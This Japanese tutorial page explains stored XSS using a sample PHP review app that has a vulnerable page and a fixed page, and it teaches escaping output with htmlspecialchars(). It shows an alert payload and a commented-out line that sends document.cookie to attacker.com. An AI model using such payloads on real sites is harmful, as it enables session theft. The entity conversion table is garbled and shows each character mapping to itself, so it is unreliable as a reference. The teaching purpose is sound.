蓄積型XSS(Stored Cross-Site Scripting)は、攻撃者が悪意のあるスクリプトをウェブアプリケーションのデータベースやファイルに投稿・保存し、それが他のユーザーに表示される際に実行される攻撃です。
今回のサンプルページでは、データベースの代わりにPHPのセッション変数に口コミを保存しています。訪問者が脆弱なページを閲覧すると、保存された悪意のあるスクリプトがブラウザ上で実行されてしまいます。
以下のようなスクリプトを口コミとして投稿した場合を想定します。
<script>alert('XSS攻撃成功!');</script>
脆弱なページ (stored-xss-vulnerable.php) では、この入力がそのままHTMLとして解釈され、タグとして実行されます。これにより、アラートが表示されたり、Cookie情報が盗まれたり、偽のコンテンツが表示されるなど、様々な被害が発生する可能性があります。
<script>
// 攻撃者がユーザーのCookie情報を盗む例
// var img = new Image();
// img.src = "http://attacker.com/steal_cookie.php?cookie=" + document.cookie;
alert('このサイトは危険です!');
</script>
XSS攻撃の最も基本的な対策は、ユーザーからの入力値を信頼せず、出力時に適切なサニタイズ(無害化)を行うことです。
PHPでは、htmlspecialchars()関数がよく利用されます。この関数は、HTMLの特殊文字をHTMLエンティティに変換します。
< (小なり記号) は < に変換> (大なり記号) は > に変換& (アンパサンド) は & に変換" (ダブルクォート) は " に変換' (シングルクォート) は ' に変換これにより、 のような悪意のあるスクリプトが、ブラウザにとっては単なる文字列として認識され、実行されることがなくなります。
htmlspecialchars() の使用例<?php
$user_input = "<script>alert('XSS');</script>";
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
echo $safe_output; // 結果: <script>alert('XSS');</script>
?>
対策済みページ (stored-xss-safe.php) では、このhtmlspecialchars()関数を適用することで、XSS攻撃から保護しています。
XSS対策は、ウェブアプリケーション開発における基本中の基本です。ユーザーからの入力値を画面に出力する際は、常にエスケープ処理を施す習慣をつけましょう。